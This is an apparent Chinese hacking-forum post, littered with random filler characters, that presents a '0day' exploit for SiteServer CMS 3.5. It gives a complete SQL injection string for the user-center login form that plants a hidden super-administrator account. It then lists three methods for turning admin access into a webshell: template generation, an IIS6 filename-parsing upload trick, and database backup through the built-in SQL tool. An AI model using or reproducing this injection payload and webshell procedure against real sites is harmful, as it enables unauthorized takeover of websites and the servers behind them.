SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

  W7 @, `+ n1 a2 ~. E: C0 n, }! q  Jstieserver官网:www.siteserver.cn
7 w( L/ h5 V& }. p- u- Q% k1 s; F
/ B* Q3 K. N# {1 u* j$ P

) b) J" s- A; I5 p+ H- z3 rEXP:
3 B- n4 U$ H7 ^4 f0 h. L4 C1 E( u- S
7 ^5 c, e1 c2 Q直接访问UserCenter/login.aspx

. j8 K- P8 F: M* s

用户名处输入：

  N% k' d! P- \" N0 |- \123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
2 W+ h/ r8 O3 E* o+ I. ^
  l4 E& g; P- k. ]: k

7 {2 |% |! ~  l8 o2 ?! w密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
9 o& |3 f$ A* G# M6 u
$ G% R9 t- ~& U  V: \6 r2 C, g
8 h+ E( t: v6 b. A& l! W8 z
  F+ ^* L$ Z0 S之后再访问后台SiteServer/login.aspx用插入的用户登陆

- ^6 y+ f, d9 k" h1 T) ^
/ f  \6 J: w# x& w& ?# q, X8 ]
后台拿webshell的三种方法：
+ S0 V4 R2 K  S/ s) p
& q; ~: A' f2 y  Y2 {  h一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
! {4 ]# W- h! b% h7 _* y
* u# Z1 N3 o- P. W  @+ K3 r6 k二、
6 M. W5 ], Z$ q
成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
' j- a7 u" w# c* W3 X
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
" n- u/ i( t  P* n0 U8 b* @# l
（ps：后台添加用户时不会验证是否含有非法字符）
( G- I% E9 Z% Y; @& I5 H
" V0 q9 a  a. u/ @三、
- S# u6 H" v2 ^% [$ h0 l
系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
' H% s! Q! i( D# g这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
; K' S" P8 ~* J. v( |